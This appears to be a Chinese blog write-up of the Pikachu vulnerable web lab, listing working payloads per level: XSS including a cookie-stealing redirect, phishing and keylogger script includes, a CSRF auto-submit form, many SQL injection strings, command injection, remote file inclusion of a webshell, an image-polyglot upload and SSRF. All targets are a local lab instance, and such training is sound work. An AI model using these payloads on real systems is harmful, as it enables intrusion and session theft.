CTF Web pikachu靶场记录

简单记录下pikachu靶场刷题历程

参考资料:

全程讲解视频

pikachu靶场wp1

pikachu靶场wp2

靶场环境配置

可以参照本篇博客:https://www.webxlab.net/article/detail/OmAE5oMAar

初始界面如下:

brief_intro.png

暴力破解

使用burp suite即可

burpsuite无法拦截本地包:https://blog.csdn.net/qq_38923350/article/details/112497437?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1.pc_relevant_antiscanv2&utm_relevant_index=1

基于表单的暴力破解

使用intruder模块即可

验证码绕过(on server)

验证码不过期

验证码绕过(on client)

直接爆破

token防爆破?

token可以获取并放入下一次爆破 注意选择合适的爆破方式(pitchfork)

Cross-Site Scripting

反射型XSS(get)

输入一些特殊字符试一下 如果有输入字符限制(前端),可F12直接修改限制值

反射型XSS(post)

登陆后输入payload

<script>alert('evolution')</script>

存储型XSS

先特殊字符试下,然后输入payload

<script>alert('evolution')</script>

DOM型xss

"<a href='"+str+"'>what do you see?</a>"

构造payload替换掉”+str+”,payload为#’ onclick = “alert(‘evolution’)”>

//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

DOM型xss-x

#' onclick = "alert('evolution')">

xss盲打

输入payload

<script>alert('evolution')</script>

网页后缀改为admin_login.php,查看信息

xss之过滤

<ScrIpt>alert('evolution')</sCriPt>

xss之htmlspecialchars

q'onclick='alert(1111)'

xss_htmlspecialchars.png

xss之href输出

javascript:alert('evolution')

xss之js输出

e'</script><script>alert('evolution')</script>

pikachu Xss 后台

pkxss后台:

http://127.0.0.1:8081/pikachu/pkxss/pkxss_login.php

cookie搜集

get型:

在反射型xss(get)中输入payload(注意取消前端字符长度的限制)

<script>document.location = 'http://127.0.0.1:8081/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
http://127.0.0.1:8081/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%3A8081%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

还可以更改一下,让他继续跳转到正常界面(伪装一下)

修改pikachu\pkxss\xcookie\cookie.php文件

header("Location:http://127.0.0.1:8081/pikachu/index.php");//重定向到一个可信的网站

post型

http://127.0.0.1:8081/pikachu/pkxss/xcookie/post.html

注意修改pikachu\pkxss\xcookie\post.html文件中的两个地址链接

cookie后台信息

xss_cookie.png

钓鱼结果

修改pikachu\pkxss\xfish\fish.php中的链接地址(其中的空格要去掉)

存储型xss题目留言板中输入

<script src="http://127.0.0.1:8081/pikachu/pkxss/xfish/fish.php"></script>
<img src="http://127.0.0.1:8081/pikachu/pkxss/xfish/fish.php" />

xss_fish.png

键盘记录

修改pikachu\pkxss\rkeypress\rk.js中第54行地址链接

存储型xss题目留言板中输入

<script src="http://127.0.0.1:8081/pikachu/pkxss/rkeypress/rk.js"></script>

xss_keyboard.png

CSRF

CSRF(get)

若进入编辑页面提示MYSQL_ASSOC警告,将pikachu\vul\csrf\csrfget\csrf_get_edit.php文件中的MYSQL_ASSOC修改为MYSQLI_ASSOC即可(各个题目中相同报错同理)

参考:https://blog.csdn.net/mastergu2/article/details/107904129

观察流量包:

csrf_get.png

构造url:

http://127.0.0.1:8081/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=earth&email=lucy%40pikachu.com&submit=submit

CSRF(post)

构造post.html即可

<!DOCTYPE html>
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1:8081/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="111111111" />
<input id="add" type="text" name="add" value="usa" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

url构造为

http://127.0.0.1:8081/pikachu/vul/csrf/csrfpost/post.html

参考博客:pikachu靶场wp1

CSRF Token

很好的防御CSRF攻击的方法。

SQL-Inject

数字型注入(post)

传入参数修改为

1 or 1 = 1

sql_post.png

字符型注入(get)

kobe' or 1=1#
kobe' or 1=1-- 

注意第二个payload最后有个空格

搜索型注入

e%' or 1=1#

xx型注入

e') or 1=1#

“insert/update”注入

基于报错的注入可利用的3个函数:

  • updatexml()
  • extractvalue()
  • floor()

insert(注册)

evolution' or updatexml(1,concat(0x7e,database()),0) or '

update(修改)

evolution' or updatexml(1,concat(0x7e,database()),0) or '

“delete”注入

1 or updatexml(1,concat(0x7e,database()),0)

payload需要使用url编码一下

sql_delete.png

“httpheader”注入

修改user-agent

evolution' or updatexml(1,concat(0x7e,database()),0) or '

sql_useragent.png

修改cookie

evolution' and updatexml(1,concat(0x7e,database()),0)#

sql_cookie.png

盲注(based on boolian)

kobe' and ascii(substr(database(),1,1))=112#

盲注(based on time)

尝试

kobe' and sleep(5)#

sql_time.png

发现存在注入点,输入payload进行盲注

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

若延迟时间有5s则database第一个字符为p,否则字符不对应。

宽字节注入

kobe%df' or 1=1#

sql_widebyte.png

除了上述各种手动注入方法,读者也可以选择使用sqlmap工具进行注入。

RCE

exec(ping)

127.0.0.1 & ipconfig

exec(eval)

phpinfo();

File Inclusion

File Inclusion(local)

http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_local.php?filename=../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

File Inclusion(remote)

http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8081/pikachu/test/yijuhua.txt&submit=提交查询
http://127.0.0.1:8081/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

unsafe filedownload

unsafe filedownload

http://127.0.0.1:8081/pikachu/vul/unsafedownload/execdownload.php?filename=../../../wiki/image/title.png

unsafe fileupload

client check

前端限制,删除检查函数即可

upload_client.png

MIME type

修改post请求的Content-Type字段即可

upload_MIME.png

getimagesize

创建文件phpinfo.php

<?php phpinfo();?>

创建新图片

copy /b ai.png + phpinfo.php ccc.png

上传文件后,获得文件保存位置,构造url访问即可。

http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/21/69033462610e99ca1b5084426014.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

over permission

水平越权

登陆后修改username即可查看任意用户信息

http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

垂直越权

登录admin用户创建新用户,然后退出,burp抓取此次操作并放入repeater模块。

登录普通用户,通过burp获取cookie

Cookie: PHPSESSID=e6e5csjr6mdrmnuappdgi1c0qb

将admin用户cookie替换为普通用户cookie并重新提交请求

overpermission_1.png

可以看到,我们以普通用户身份使用admin用户权限添加了一个新用户

overpermission_2.png

../../

目录遍历

http://127.0.0.1:8081/pikachu/vul/dir/dir_list.php?title=../dir.php

敏感信息泄露

IcanseeyourABC

直接查看源代码:

info_1.png

直接输入payload亦可:

http://127.0.0.1:8081/pikachu/vul/infoleak/abc.php

PHP反序列化

PHP反序列化漏洞

使用文件ser.php获取payload,代码如下:

<?php
class S{
var $test = "<script>alert('evolution')</script>";
}
$a = new S();
echo serialize($a);
?>

得到payload为:

O:1:"S":1:{s:4:"test";s:35:"<script>alert('evolution')</script>";}

XXE

XXE漏洞

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "evolution"> ]> <name>&hacker;</name>

URL重定向

不安全的URL跳转

http://127.0.0.1:8081/pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com/

SSRF

若点击后无诗句显示,可以查看是否链接地址是否写了自己的端口号。

SSRF(curl)

http://127.0.0.1:8081/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

SSRF(file_get_content)

http://127.0.0.1:8081/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

获得结果再用base64解密即可